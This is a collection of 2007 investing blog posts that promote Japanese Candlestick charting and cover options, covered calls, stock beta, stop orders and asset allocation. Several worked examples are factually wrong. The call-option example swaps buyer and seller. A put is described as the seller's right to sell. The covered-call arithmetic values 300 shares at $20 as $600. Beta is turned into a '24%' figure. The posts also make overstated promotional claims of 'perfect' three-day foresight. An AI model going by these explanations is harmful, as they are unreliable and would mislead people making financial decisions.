Oil investment is going to continue being a wise move, whether investing in corporate stocks or oil futures. Oil related stocks are typically among the best stock picks and the normal ups and downs of oil prices can be very attractive to those who trade futures.

Conclusion
Depending on your perspective, the oil industry is not the evil empire that it is portrayed to be and oil investments can be very attractive. Whether stock investing or commodities trading, oil can be an excellent addition to your investment portfolio. Do your technical analysis, consider your trading plan and make your oil investment work for you.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 28, 2007
Index Funds

Warren Buffett, the greatest investor in the history of the stock market and one of the richest people in America is attributed as saying that “investors should know their limitations.” There is a simple wisdom in that saying that applies to everyday life; know what you are able to do and what you can’t do, then do the things you can. Ask yourself, if you got a chance to fight with a grizzly bear, would you do it? You say that is crazy because the bear is bigger and would kill you? Ok, it’s probably an extreme example but you get the picture; you realize that you don’t have the ability to fight with a bear and you wouldn’t do it. Well, sometimes it is the same in the stock market and yes, there are people on Wall Street that successfully fight bears and bulls everyday with a great equalizer. Index funds give investors the tools they need to exceed their limitations.

What are index funds?
An index fund is a type of mutual fund that keeps a stock portfolio designed to match the performance of a stock market or one of its stock sectors as measured by an index of selected stocks. Index funds are also known as market funds.

Why are index funds better than going alone?
The vast majority of investors on Wall Street really do not know anything about investing. They don’t define their goals, they don’t learn stock charting and they refuse to perform fundamental analysis on companies before they buy. These are the same investors that don’t understand what happened when they lose their money. There are very few investors that, over the long haul, out-perform the results of the major indices like the Dow, the S&P 500 or the Vanguard Total Stock Market Index.

Index funds such as these and others give the average investor the ability to exceed his or her limitations. These funds are diversified portfolios and represent investment options in a portfolio with a size only a few investors could match. Because they have such a large portion of the market represented in their portfolios, it is extremely difficult to outperform index funds over the course of a year, let alone 10 or 20 years.

What if I want to do it on my own?
That’s one of the beauties of the stock market; no one can tell you that you shouldn’t be playing the stock market. But if you hope to have success at it, you have to commit yourself fully to the endeavor. Winning the stock market game requires an understanding of the basics of stock market investing, a clear stock trading plan and the best resources available.

The first thing you need to do is start learning about the stock market. Start with Benjamin Graham’s book on defensive investing, then read anything you can about Warren Buffett. Both of these men are giants in the world of investing and because of their stature, their views demand a certain level of respect. Your learning should also include an ever-increasing understanding of the stock market terms and techniques of Wall Street. You need to understand Wall Street news and how Wall Street talks and acts in order to recognize its characteristics.

Second, you need to develop a plan for your investing. Define your goals and identify a course for getting there. Want to trade stocks? Make your plans accordingly. Prefer the idea of futures markets or options trading? Those are good possibilities as well. What are your stop loss strategies? Knowing these things will help you make a plan that increases your chances for success.

Finally, you need a stock trading system that will help you track your investments as well as your potential purchases. The best system for this is Japanese Candlesticks. This is a stock trading system with over three hundred years of use and it is far and away the best for tracking stocks and commodities as well as understanding the trends and patterns that occur in the market.

Conclusion
For the average investor, nothing beats index funds. Index funds are simple, secure ways to invest and prosper in the stock market. Index funds allow the investor to relax, knowing that he or she is using the most consistently performing method in the stock market for investing. For the more daring investors, index funds might be a part of an investment philosophy that gives the investor complete control over his or her financial future. Whether investing on your own or taking advantage of index funds, you need to know your own limitations.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 23, 2007
Earnings Season

Whether you are a seasoned veteran or a beginner investing in the stock market, you will no doubt hear the phrase “earnings season” with great frequency. Earnings season refers to the month after each quarter’s end: January, April, July or October. This is the month that companies announce their earnings for the previous quarter. Investors and analysts in the market tend to be cautious when earnings season arrives. Companies that meet, or beat, their earnings estimates reap the benefits with rising stock prices. Companies that miss their number tend to take a beating.

Follow the Leader
For companies that are leaders in their stock sectors, their numbers are issued in advance of earnings season in the form of earnings estimates. There is an unfortunate domino-effect when industry leaders miss their numbers. Often times, a slip by the industry leader will affect the stocks of other companies in the same business sector Because of the significance of the leaders’ earnings, most market analysts follow these companies’ earnings and issue earnings estimates, which are reported in earnings per share.

Cloudy Picture
Sometimes earnings season brings a clear picture of where a company stands; other times, it’s not so sunny. Some in the stock market believe that earnings season is a good thing, where management is offering a projection as to where the company is financially. Other people believe that earnings season is simply a practice which provides a forum for management to use misleading information about the company in an effort to improve the standing of its stock prices. There would be the temptation for a company executive to issue a lower forecast than their research shows in order to exceed that forecast when earnings season rolls around.

Charges have been made in the past that companies have, in fact, manipulated the numbers in order to make the financials look better. “Earnings guidance” is a management estimate of where the company is headed in the future. There are rules concerning the content of this report, but there is also ample opportunity for the company to polish the numbers to appear better in the eyes of successful traders.

There is also another little earnings season item to recognize; this is called “whisper estimates” and it is another source of earnings estimates. This is an unofficial supply of stock market information, usually coming from a company source, an inside trader or investor. There is no real way of confirming this information so it is wise to be careful and perform more fundamental analysis before using the whisper estimate.

Who Benefits from Earnings Season?
Not everyone benefits from earnings season information even if it is accurate. For long term investing, earnings season really has no bearing on market strategy. An earnings season report is short-term information and a long-term investor may only look at this info as a possibility to pick up another low priced stock or to dump an asset that is struggling.

Conclusion
Like metrics for technical analysis, there is some benefit to the information gathered at earnings season, but it should not be over-emphasized. This is only one piece of information and before buying or selling, you should confirm your findings with additional research. Earnings season is the opportunity to identify movement in the stock market and use that movement to your advantage.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 20, 2007
Earnings Estimates

If only it was easy. You want to evaluate a company because you think it is going to be the next hot stock. You decided to verify your belief with a little research. You log onto the Internet and do a search; you were right! The stock climbed 20% last year so you rush off to buy 500 shares. It is true that past earnings can give you an idea of the likelihood that a stock will perform well in the future but that’s only an indication. To get a better view of the future, you need to look at the earnings estimates.

What are Earnings Estimates?
At the risk of sounding simple, it is exactly what its name implies; an earnings estimate is a projected, “educated guess” at the upcoming performance of a particular company. When coupled with a company’s past earnings, earnings estimates can have a certain amount of credibility since barring any unforeseen circumstances, a company will tend to maintain its existing trend. While earnings estimates don’t factor in stock volatility or changes in the economy, they do carry enough weight that analysts at major investment banks, brokerage houses and other institutions produce earnings estimates for actively traded stocks.

Not Cast in Stone
Earnings estimates have an interesting feature. Unlike metrics like earnings per share, the projections that earnings estimates represent are not static; since they are the best projections based on available information, the numbers change as the information evolves. These numbers, which are constantly revised, are guesses about what the company will be earning in the coming years. This revision can be upward or downward based on the factors involved. If the economy falls into a recession, the earnings estimates for a company may be adjusted lower. If a company is outperforming its estimates, the same numbers might be adjusted higher.

There are a number of websites on the Internet that report these estimates on their stock quote screens. Most collect a number of estimates and average them for a consensus estimate in one form or another.

The Only Information You Need?
If you can glean this information from the Internet or a stock screener, you might be wondering if you need anything else to start making stock trading decisions. The answer is…yes! You cannot get a full picture of anything by looking only at the earnings estimates. Successful trading starts with basic stock information but it depends on solid fundamental and technical analysis.

Have you put together your stock trading plan yet? If not, earnings estimates really won’t help you much. Your trading plan is your key to determining exactly how you are going to trade. What do you know about fundamental analysis and technical analysis? Being able to determine the financial health of a company and the current status of its stock is crucial.

One More Thing
There is one more piece to this puzzle. In addition to earnings estimates, a trading plan and technical and fundamental analysis, it is imperative that you have a stock trading system like Japanese Candlesticks. The candlestick charting system is a powerful tool in determining the directions of an asset even before it moves.

Conclusion
We can’t foretell the future, but investing in companies that have delivered solid earnings estimates and show strong consensus earnings estimates is a good choice.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 16, 2007
Options Contracts

Spend any length of time around the stock market and you will hear about options contracts. Some people will say that options contracts are too risky and others will tell you of the fortunes they have made trading options contracts. In either case there are reasons that people trade options contracts; they offer things that stock contracts can’t and in some cases are excellent ways to realize profit while limiting your risk.

When you write an options contract, what are you getting?
Here is the definition of an options contract: An option contract is an agreement between two parties to buy/sell a stock at a fixed price and fixed date in the future. The reason this is called “options” contract is that as time decays, (this is the term for the passage of time) if the deal becomes unfavorable for the buyer he or she can simply let the options contract expire or opt not to fulfill it.

What are the different types of options contracts?
In essence, there are two types of options contracts; Call Options and Put Options. A Call Option is an agreement to buy an asset while a Selling Put is an agreement giving one party the right to sell the asset.

Example of a Call Option

Let’s use an example for some option trading education. Fred buys a Call option contract from John. The options contract says that Fred will buy 100 shares of MEW Industries from John on September 8th at a strike price of $15; MEW Industries is currently trading at $20. At this point Fred has no obligation; he has only purchased the right to buy the stock if he desires. If the stock is at $20 on September 8th, Fred can buy from John at $15 per share, also known as the strike price. John can then keep the shares or make an instantaneous profit buy selling them for their current price of $20.

If the shares are trading for $10 instead of something above $15, John wouldn’t be interested since he can buy them for less investing in the stock market. In this case he will simply let the options contract expire and Fred gets to keep the premium that John paid for the option contract. One thing to note in this example is that John won’t actually be buying his options contract directly from Fred but from a broker instead; the end result is the same but the broker facilitates joining buyers and sellers.

Example of a Put Option
Here’s a second example. John sells a Put option contract to Fred. The options contract says that John will sell 100 shares of MEW Industries to Fred on September 8th at a strike price of $20; John purchased his MEW Industries shares for $15. There is a $0.25 per share premium on the contract, so John has realized a $25 profit already. If the price is not at $20 on the 8th, the contract expires and John keeps the $25 premium. If the price is $22 on the 8th, John will sell the shares to Fred, keep the $25 premium along with the $700 ($7 per share for 100 shares) he is a successful trader, making a total of $725 on the deal.

Conclusion
Options contracts can be beneficial way to accumulate income in the stock market. Stock option trading strategies allow the trader to realize profits, in many cases, with limited risks. When using solid technical analysis and a strong trading system like Japanese Candlesticks, options contracts provide another good method for playing the stock market game.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 13, 2007
Option Value

Wouldn’t be great if you could trade in the stock market and own a crystal ball, the kind that tells the future? With option value you may not have a crystal ball, but you do have some insight on how strong an asset on which you have purchased an option really is. By identifying the break even point of an option you are able to see where your profit or loss is in relation to that point.

Intrinsic and Extrinsic Values Defined
An option’s value can be broken down into two parts: extrinsic value and intrinsic value. Intrinsic value is the portion of the option that can be gained if the option is exercised. Extrinsic value is anything above the intrinsic value; this is also known as the time value.

An Example of Intrinsic and Extrinsic Values

Consider the following example:

Underlying: MEW Industries
Underlying Price: $18
Type: Call Option (American style stock order)
Strike Price: $15
Expiry Date: 8th September

Now, imagine that this particular call option is currently trading at $5. Let’s dissect this price.

First we can look at the intrinsic value; this is the option’s value that, if traded, would create a profit. We know that the call option's strike price is $15 and with MEW Industries trading at $18 it is already worth at least $3. This is an example of intrinsic value; this is the profit that can be made by exercising the option.

What They Really Mean
We know that the option is worth $3, which is its intrinsic value, but it is really trading for $5. The other $2 is called the extrinsic value; it indicates the option value that the market puts on this asset.

An option value that is sitting at 0 intrinsic value is said to be “out of the money”; this means that if you exercised your position at this time you would lose money. If you were to buy this call option on MEW Industries at $20 and market value is $19, you lose money; not exactly the picture of successful trading. At the same time, don’t think that there isn’t any option value to an asset with 0 intrinsic value; it can still have option value because traders believe that there is still some chance that the underlying could trade in a favorable direction, which would make the option profitable.

No Value is Still Valuable?
Option value is relative. Consider this; a position has an option value of zero, in other words it has no intrinsic value. Yet this same option has a price of $1.75; should you assume the option value is overpriced? Not necessarily. If you look at the option, it still has six months before it expires which gives it plenty of time to gain investing value. If it expired tomorrow, it would be considered worthless, but now there are still 120 or more days in which it can rise; this indicates the option’s value related to time.

Conclusion
Option value is important both the current value of a position but its future as well. When considering whether to keep a position or trade out of it early, it is wise to calculate the option value to help determine whether it is likely to improve its position or fall back.

Calculating option value can be a technical analysis tool that you utilize along with candlestick charting to verify your positions. Stock charting with a system like Japanese Candlesticks is an excellent method of verifying your analysis and anticipating the direction of a position. Using this method along with calculating option value can help you to become more successful with options trading.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 9, 2007
Stock Market Trends

Ever watch that base-stealing threat in a baseball game? He’s on first; he leads off….a little bit more, a little bit more, daring the pitcher to try and get him. The pitcher even throws to first in a vain attempt to snag him. Finally, the runner sees what he’s looking for and he takes off for second; the catcher doesn’t even stand a chance to get him out. The guy is fast, but more importantly, he sees something while studying the pitcher that tells him exactly what is going to happen. Sure it works in baseball, but how does this apply to the stock market?

Stock Market Trends – Getting the Jump on the Market
The base runner was looking for indications of the direction the pitcher was going; the stock market will give you hints to its direction as well. If you understand stock market trends before they happen, you already have two of the three key factors for understanding the market, time and direction. Coupled with volatility, a successful trader has the basic stock information needed to “take second” and make a profit in the market.

Eliminating the analogy, understanding stock market trends is also about looking for indications. How well could you adjust your investment timing in the stock market if you knew three days in advance what was going to happen? What if you only knew one day in advance? Could you improve your investment success? Of course you could.

Variables Involved in Knowing Stock Market Trends
There are a couple of pieces of information that will help you determine the direction of the market. These two gems are price and volume; each of these tells you something different about the market and together they can give you insight into stock market trends.

  • Price – This is somewhat intuitive. Prices will rise until they reach their market value and then they will fall until the market value readjusts. A good way to determine price is to look to the three major market indexes, the Dow, the S&P 500 and the NASDAQ to provide a quantitative evaluation of price. It is also possible to calculate an average price per share based on overall sales divided by the number of available shares on the market. Because stock market trends are cyclic and so are stock prices, this variable is quite logical.


  • Volume – Volume is also a typically reported value and an important part of calculating stock market trends. On more active days volume will rise and on slower days the volume will reflect it with a decrease. Volume is a factor in stock market trends because increases in stock volatility tend to indicate changes in direction.
Put together, price and volume make an excellent combination for determining stock market trends. If the market has a high-volume day and prices are up, you are likely seeing stock market movers like mutual funds and institutional investors buying, which is a sign of an upward stock market trend. On the other hand, a high-volume day with lower prices could mean a downward trend with the big players backing out of the market. It is important to use some common sense when watching these indicators. For example, if you have three or four days of high volume and rising prices, it is not unusual to hit a high-volume day where the prices fall off. You’ll usually hear the talking heads on television refer to this as “profit taking.” Stock market trends are the cumulative movements of days or even weeks, so be patient and watch the prices and volumes.

Another Way to Find Stock Market Trends
Would you like another method for understanding stock market trends? This is the one that can give you an idea of the direction in advance of its actual occurrence. Japanese Candlesticks is a powerful stock charting system that can help you not only when charting a stock but it can help you to understand the overall direction of the market as well. This amazing system has been in use for over three hundred years and is perfect at reading stock market trends and analyzing directions using time-perfected charting methods. Japanese Candlestick stock trading can literally give a trader a three-day head start over someone using ordinary bar charting to track the stock market. In a time when knowledge is power, you have the power to read the signs and “steal second” against the stock market!

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 6, 2007
Option Volatility

Option volatility is one of the most important concepts in all of options trading. An understanding of stock volatility will help a trader understand whether an option is a good value or a bad value related to the trends of the underlying stock. It is important to use sound analysis principles to understand the movement; this way an investor is better able to determine if an option is more likely to reach its expiration date in the money or out of the money.

There are two types of option volatility that we will discuss: implied volatility and historical volatility.

Implied Volatility
Implied volatility is defined as where the stock market views an option’s volatility in the future. By using a pricing model, an investor can derive the implied option volatility for the future. Together with historical volatility and theoretical fair value, implied option volatility helps identify a projected direction.

Historical volatility is the measurement of how volatile an asset has been in the past. By using a pricing model to determine the fair value of an option, it is possible to theorize whether an option is overvalued (priced above the fair value) or is an undervalued, low priced stock option. If an option is low but has a history of strong upward movement, it is likely that another upward movement is likely to occur. If the option is high, the likelihood is that the option will not sustain its high and fall due to being overpriced.

Historical Volatility
Historical volatility is a statistical calculation that tells option traders how rapid price movements have been over a given time frame. The most common technical analysis of historical volatility is called the Standard Deviation. Standard Deviation analyzes the range of a set of data points against the average. The more spread out the data, the higher the deviation. This deviation is commonly known as volatility.

The Benefit of Understanding Historical Volatility
By reviewing the historical volatility, it is possible to draw educated conclusions from your fundamental analysis about the current and future trends of an option’s volatility. Stocks that have big trends and frequent price movements are known as volatile or said to have high volatility. On the other hand, stocks whose price fluctuations are gradual and predictable are known as low volatility instruments.

The Importance of Volatility
Why is understanding option volatility so important to those who are trading in the options markets? It is tremendously important because option volatility is a way to calculate and anticipate the possible price changes of the asset in the future. Stocks that have experienced high volatility in the past can be expected to have large price changes in the future as well. As a result, options that are based on assets with high volatility can be expected to have higher prices. The higher the volatility, the more likely it is that the underlying asset will trade higher than the strike price by the expiration date. Conversely, an asset which displays lower option volatility is more likely to have a lower stock price than the strike price.

Conclusion
Calculating option volatility is another perfect example of the benefit of fundamental and technical analysis in the stock market. As an investor performs more research and looks at the tendencies and trends of an asset, he or she is better prepared to make strong moves when buying and selling, whether in the stock market or the options market. Understanding market movements, especially related to options volatility, is a key to being a successful trader in the options markets.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 2, 2007
Covered Calls

Stock market strategies - education is critical and everyone should learn the terminology of the market. It is difficult to be effective in the market if you don’t understand the difference between long term investing and day trading. Once you understand stock market basics  and stock market terms, you can begin to learn and implement the strategies needed to be successful in the market. Covered calls are an excellent “first strategy” to learn; selling a covered call means that there are investors willing to pay for the right to take a stock if it reaches a much higher price. Selling calls requires that you have at least 100 shares of a stock. It is an excellent strategy to implement while waiting for a stock to reach your identified sell point. This technique can be used over and over, and it can be a great way to create income.

As you analyze trends in the market and identify sell points, you will find times when you are looking to take profits as the market adjusts. Selling covered calls is an excellent way to indulge in a little profit-taking while holding on to the shares for a sell-off at a later date.

An example of covered calls…
We have defined covered calls; by selling calls, you are able to accumulate income passively over time by collecting the premiums on your options. If your option doesn’t reach and maintain the strike price during the time period, the premium and the stock are yours. If the market price of the stock does reach your strike price, you make a nice profit selling the stock and you can purchase more of it in the future if you desire.

Let’s say that you have 300 shares of MEW Industries that you purchased for $15 per share. You are either bearish on the stock market in general or your research indicates that MEW Industries is poised for a bearish move. You want to hold this stock so you are looking to sell covered calls instead. You opt to sell out-of-the-money call options, meaning that your strike price of $20 is above the current market price of $15. The premium on this sale is $0.50 so you immediately pocket $150 or 300 shares multiplied by $0.50. If MEW Industries’ stock prices don’t reach $20 before the expiration date of your covered call option, you retain the stock and the premium is yours. In addition, you can sell more covered calls on these shares if you wish creating more income. If you duplicate this covered call two more times, you have paid for your stocks, ignoring commissions of course!

What happens if the stock does reach the strike price? This is even better; if the stock reaches your strike price of $20, you would have to sell it to fill your covered call. Three hundred shares at $20 is $600 and you get to keep the premium as well, bringing your total to $750.

Selling covered calls not only works well in a bear market but also when a bull market peaks and creates a bearish lull for a particular stock. Selling covered calls is a good technique for long-term investors who want to keep certain stocks but are seeking protection for possible declines. With a few covered calls worked into your stock portfolio, you’ve actually created your own hedge fund without the high fees that normally accompany them.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


February 18, 2007
Stock Beta

Understanding a Stock’s Beta
It actually sounds a little strange, doesn’t it? If you don’t understand a stock’s beta you are not alone. While it is overused by some people, this is actually another good ratio to have available for fundamental analysis of a particular stock. But so we don’t get too far ahead of ourselves, let’s discuss a stock’s beta.

What is a stock beta?
A stock beta is ratio that can be used to suggest stock volatility. By understanding volatility an investor can better understand the investment risk of a stock. Once risk is identified the risk premium can be calculated and an investor will have a better awareness of whether the stock’s return can justify the risk.

Now for the formula. Take the S&P 500, it is the most common index for this function and probably the most reflective of the entire market, and designate it as your baseline with a ratio of 1.

Let’s look at a couple of examples. MEW Industries has been a very stable company; you check the stock market on the Internet and its beta is 1. Since the market has an expected return of 8% and a beta of 1, your beta is 1 as well. This quick evaluation suggests that MEW Industries should bring 8%. In our second example, ABC Corp. is a young technology company with a lot of potential. The stock beta for ABC Corp is 3; since the market beta is 8%, the stock beta for ABC Corp is 24%. This sounds like a great investment, but since this is only one test, further analysis is needed.

What does stock beta tell you?
Stock beta gives you an idea about how volatile a particular stock is. After you know that, applying your fundamental and technical analysis can help you draw a conclusion about the risk premium of a stock. Stock betas over 1 indicate increased volatility and those below 1 are considered to be less volatile.

Does stock beta have any flaws?
First lesson when investing in the stock market; every ratio has its limitations. This is the reason that performing stock technical analysis requires more than one ratio. Some of the limitations of stock beta are:

  • Beta looks backward and history is not always an accurate predictor of the future.


  • Beta also doesn’t account for changes that are in the works, such as new lines of business or industry shifts.


  • Beta suggests a stock’s price volatility relative to the whole market, but that volatility can be upward as well as downward movement. In a sustained advancing market, a stock that is outperforming the whole market would have a beta greater than 1.
Conclusion
Stock beta is a useful to for getting a general idea about a particular stock in relation to the entire market. As with all technical analysis tools, it shouldn’t be used independent of other ratios, charting or fundamental analysis. When combined with other tools, stock beta can be a helpful part of your stock market research.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


February 14, 2007
Stop Loss Orders

Stop loss orders are the great insurance policy of the stock market. A stop loss order is an open order to your stock broker saying that if your stock drops to a certain target, he or she should immediately place a market order to sell on your behalf.

Setting a stop loss order is quite easy, although there are several different types. A typical stop loss order simple instructs your broker to sell if your stock drops to a specific price. This does not take into account any gains that your stock might have made after you placed the stop loss order. The other kind is a trailing stop; this is a stop loss order that instructs the broker to sell if your stock price drops by a certain percent; this allows for the stop to follow any increases in the stock price. Such techniques have created many successful traders!

Let’s look at an example of a stop loss strategy. You own a stock that has been trading at $40 per share. Since you’ve been tracking it, there has never a drop in price of more than $2 per share, so you have your broker set a stop loss order for $36. While you were away for a week on vacation, the company received some positive press and the stock jumped to $50, but later in the week the CFO was indicted for embezzling millions from the company and the stock plunged to $25. What was the effect on your stock? Since you placed the stop loss order for $36, your broker placed a market order to sell when that price was met. Instead of losing $15 per share, you only lost $4 per share.

In the same example, what if you had implemented a trailing stop loss order instead? You decided on a 10% stop since your stock has been very stable. At $40, that meant to sell at $36. When the stock rose to $50, your trailing stop rose to $45 and as the stock fell, your broker placed a market order to sell at $45. Instead of losing $4 per share, you still made $5 per share. These types of stop loss strategies and techniques will work well for the first trader but even better for the second.

It is important to note that the example is for illustrative purposes only and that any complex trade such as a stop loss order will increase the amount of commission that you pay. You also need to exercise care with a stop loss order because you are selling on a downswing; set it too close to your price and you may be out of a stock that is on a temporary trend. Set your target too far from your price and you could lose far more than you want to lose. In a case like this, you always want to consider risk reward ratios and act according to how comfortable you are.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


February 6, 2007
Asset Allocation

Surviving the Risks through Asset Allocation
Are you someone who has been investing in the stock market for a long time? You probably have done this. If you are new, you will do it in the future. Imagine that you have analyzed your portfolio for the last ten years. The chart formations you draw will probably look like the moves from a line dance and not an ascent of a great mountain; it is probably a series of ups and downs where the downs routinely offset the ups. If you looked back, it is likely that the only thing that saved your portfolio was something called asset allocation.

Asset allocation is a method of portfolio diversification that hopefully is a part of your stock trading system. Smart investors never depend on only one stock, just as they rarely put their holdings in one sector of the market. Instead, they spread, or “allocate”, assets across a diversified portfolio of big and small stocks, as well as bonds and money-market investments.

Why do investors need to allocate assets? Look at your hypothetical chart again. The first five years, you enjoy a nice bull run through the late 90’s; your stock portfolio is fat because of that period. Starting just before the terrorist attacks of 2001, the market began to fall and fall it did. First, because the economy had begun to falter at the end of the Clinton administration and the stock market crashed to the ground shortly after the towers of the World Trade Center.

If asset allocation is important now, its importance was “life or death” in the past. Before this century, there were other times of bad Wall Street news, with periods of bear markets. In fact, between 1966 and 1982, five bear markets were recorded. Blue Chip stocks rose and fell with each cycle but stayed in the same price range for most of the 70’s. Because the economy had a combination of inflation and recession, interest rates rose to incredible levels, crushing the stability of the bond market. The very basis of hedge funds, the stable Blue Chip stocks, and the dependable bond market wasn’t there and the market suffered with only 20% of Americans owning stock, down from its earlier high of over 50%. Asset allocation had to depend on small-cap stocks, which soared to new heights in the late 70’s.

How does this apply to asset allocation and how does it apply today? Asset allocation is relevant because, while investors struggled with traditional methods of investing, the small companies, especially in the computer business, carried the day. With proper stock analysis, you can stand by your stock trading plan and find the companies that are performing well. Asset allocation shows that by having a proper mix of companies in various stock sectors, an investor can weather almost any economic storm.

Greed and fear can affect almost any investor if they are given the chance. For the investors who stick to solid stock trading basics and do their fundamental and technical analysis, it is possible to survive the risks of the stock market through asset allocation.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


February 2, 2007
Stock Order

Who’s in Charge? The Art of Giving Orders
It’s how you show them who’s the boss; you’re in charge so you get to give the orders. Well, in the age of Internet stock trading, the same is true. More and more investors have taken their stock portfolios, and their money, away from the stock broker and have begun trading their own stocks. This requires successful traders to have a better understanding of both their stock portfolio and the rules of trading. These rules include such things as the buy and sell stock order and today we’re going to discuss them.

The stock order allows traders to have greater control over their transactions than just a simple market order. Some stock orders control the transaction based on price while others restrict it by time. Some of the common stock orders are Market Orders, Limit Orders, Stop Loss Orders, Trailing Stop Orders, Good Til Cancelled Orders, Day Orders and All or None Orders.

Market Order
The Market Order is the most basic stock order. It simply says to buy or sell at the current price. If there is much stock volatility, you might not get the price you last saw because of a quick change. Market Orders are usually the most simple and the least expensive stock orders to fill.

Limit Orders

A Limit Order is the most simple of the restrictive stock orders available in the stock market. Your purchase or sale will not happen unless your stock reaches the target price. If your purchase is influenced by the amount of commission, you might want to do some math here. If the stock is close to your target price, it may be better to go with the lower cost Market Order instead.

Stop Loss Orders
A Stop Loss Order is a target price that says, “If the price of this stock falls to X, sell it.” For example, if your stock is currently at $20 per share, you can set a Stop Loss Order for the stock at $16. If the stock drops to $16, this stock order will trigger a sale on your behalf. If the stock stays steady or rises, nothing happens. This one of the stop loss strategies that is an excellent insurance policy against sudden, painful drops in stock prices.

Trailing Stops
This stock order is very similar to a Stop Loss Order; the difference is that a Trailing Stop Order is triggered by a percentage of the market price, not a specific dollar amount. If you have realized a profit on a stock, entering a Trailing Stop Order will protect that profit for you. This stop loss technique says that if the stock price drops below your pre-determined percentage, you want to sell. As your stock price rises, the Trailing Stop rises too, protecting your profit.

Good Til Canceled
A Good Til Canceled Order keeps your stock order active until you cancel it. Obviously, you use this stock order with multiple time frame trading so that you are protected from a downturn in stock prices. It is good to note here that some brokers have limits on how long they will hold a GTC order.

Day Order
A Day Order is a stock order that, if not filled on the day it is placed, it is cancelled. With this stock order, you will need to re-enter the next day if you want to extend it.

All or None
The All or None Order states you want the entire order filled or none of the order filled. You would use this type of order for stocks that are not heavily traded.

Conclusion
The stock order puts you in charge! Whether you trade through a broker or with online stock market trading, you assume control over when you sell, what conditions are involved, and when you buy. It is important to understand the costs of these stock orders; frequently there are additional costs involved for the more complex orders. If you follow your stock trading plan, stock orders help you to be in charge of your portfolio. So start calling out orders General, you’re in charge!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


January 30, 2007
Investment Risk

Playing It Safe Is Risky Business
There is a great deal of hazard to investing in the stock market; some of the investment risk is within your control, some of it is not. While you can’t eliminate your investment risk, you can develop a stock trading plan that defines your desired goals. This will help you to keep your investment risk at a level you can accept.

There is investment risk for which there is no control. It is possible that the investor can foresee it and will be forced to either adjust the stock portfolio or wait out the problem at hand. Below are four main types of investment risk and where possible, strategies to cope with these events.

Economic Events
The watermark for the effect of economic events is the post 9/11 economy. The stock market had just taken a significant hit and after the terrorist attacks, the US economy plummeted. This dive took most of five years to turn around. For many investors, doing nothing in times like these is the best thing to do. For others, looking at conservative companies or overseas investments can be another alternative.

Inflation
Inflation creates an investment risk for everyone. It is like an insect that eats away at a fruit crop, eating away profits as it goes. The problem is that sometimes the poisons used to eliminate the bugs are worse than the pests themselves. Inflation causes investors to look for investment options with less investment risk, such as gold and real estate. It is also good to maintain some assets in stocks as well since companies do have the ability to adjust prices to the rate of inflation.

Changes in Market Value
This includes the entire concept of undervalued stocks. With all of the media focus on the stock market, there are too many times that investors will drop a company to chase other hot stocks. This phenomenon will drive down the value of a perfectly good stock for no apparent reason. The key here is to avoid investment risk with portfolio diversification. Avoid having all of your stock in one stock sector to eliminate this danger.

Over-Conservative Approach
Of itself, being conservative isn’t an investment risk; being conservative is actually the best approach for long term investing. The investment risk in a conservative approach is when you are so conservative that you can’t meet your financial goals. Let’s face it, if you put your money in the bank, it’s very safe. The question is, can you accumulate enough with that 2% interest to have the type of life you want when you retire? In a case like that, the investment risk isn’t losing your money; it is not having made enough to subsidize your future.

There are many investment risks in the stock market; some of these can be foreseen and others can’t. It is important to identify your goals, be diligent with fundamental analysis and react appropriately to changes in the stock market.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


January 26, 2007
Stock Quotes

For some people, it is difficult to grasp the basic concept of the stock market. Stock quotes, indexes, trends and forecasts just sort of run together. With the help of the “Dean of the Stock Market”, Benjamin Graham, we’re going to make it clear for you today.

Benjamin Graham is considered by many to be the most influential figure in the history of the stock market game. Books that he wrote fifty and sixty years ago hold market principles that are still true today. Yet with all of this wisdom, Graham still felt the need to create something to help people understand such stock market basics as stock price quotes. That something, or someone, was “Mr. Market”.

